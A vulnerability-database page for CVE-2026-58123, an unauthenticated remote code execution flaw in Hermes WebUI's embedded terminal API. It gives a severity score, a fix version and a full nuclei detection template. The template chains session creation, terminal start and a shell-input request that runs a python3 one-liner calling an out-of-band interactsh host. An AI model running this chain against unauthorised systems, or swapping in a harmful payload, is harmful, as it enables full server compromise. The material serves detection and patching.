Browse / CVEs / CVE-2026-58123
CVE-2026-58123· nesquena / hermes-webui· CWE-306
Hermes WebUI < 0.51.788 - Remote Code Execution
criticalseverity
9.8CVSS score
4.6%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it
Hermes WebUI < 0.51.788 contains an unauthenticated remote code execution caused by improper access control in embedded terminal API endpoints, letting remote attackers execute arbitrary shell commands without credentials.
Impact
Remote attackers can execute arbitrary shell commands as the server process user, leading to full system compromise.
Fix
Update to version 0.51.788 or later.
How to confirm it
Send: POST /api/session/new
Positive when: status 200
Send: POST /api/terminal/start
Positive when: status 200
Send: POST /api/terminal/input
Positive when: contains in interactsh_protocol "dns" AND status 200Run it with nuclei: nuclei -id CVE-2026-58123 -u <target>
The full check
id: CVE-2026-58123
info:
name: Hermes WebUI < 0.51.788 - Remote Code Execution
author: str4k3r
severity: critical
description: |
Hermes WebUI < 0.51.788 contains an unauthenticated remote code execution caused by improper access control in embedded terminal API endpoints, letting remote attackers execute arbitrary shell commands without credentials.
impact: |
Remote attackers can execute arbitrary shell commands as the server process user, leading to full system compromise.
remediation: |
Update to version 0.51.788 or later.
reference:
- https://www.vulncheck.com/advisories/hermes-webui-unauthenticated-rce-via-terminal-api
- https://github.com/nesquena/hermes-webui/commit/d257e5f36cfa9328600c8bde6f0de09a6ad9b6f4
- https://github.com/nesquena/hermes-webui/releases/tag/v0.51.788
- https://nvd.nist.gov/vuln/detail/CVE-2026-58123
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-58123
epss-score: 0.04649
epss-percentile: 0.9181
cwe-id: CWE-306
metadata:
verified: true
max-request: 3
vendor: nesquena
product: hermes-webui
tags: cve,cve2026,hermes-webui,rce,terminal,unauth,oast
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /api/session/new HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{}
matchers:
- type: status
status:
- 200
internal: true
extractors:
- type: regex
name: session_id
part: body
group: 1
internal: true
regex:
- '"session_id"\s*:\s*"([a-f0-9]{12})"'
- raw:
- |
POST /api/terminal/start HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"session_id":"{{session_id}}"}
matchers:
- type: status
status:
- 200
internal: true
- raw:
- |
POST /api/terminal/input HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"session_id":"{{session_id}}","data":"python3 -c \"import socket; socket.gethostbyname('{{interactsh-url}}')\"\n"}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: status
status:
- 200References
- https://www.vulncheck.com/advisories/hermes-webui-unauthenticated-rce-via-terminal-api
- https://github.com/nesquena/hermes-webui/commit/d257e5f36cfa9328600c8bde6f0de09a6ad9b6f4
- https://github.com/nesquena/hermes-webui/releases/tag/v0.51.788
- https://nvd.nist.gov/vuln/detail/CVE-2026-58123
Use this check only on systems you are authorised to test. Where the data comes from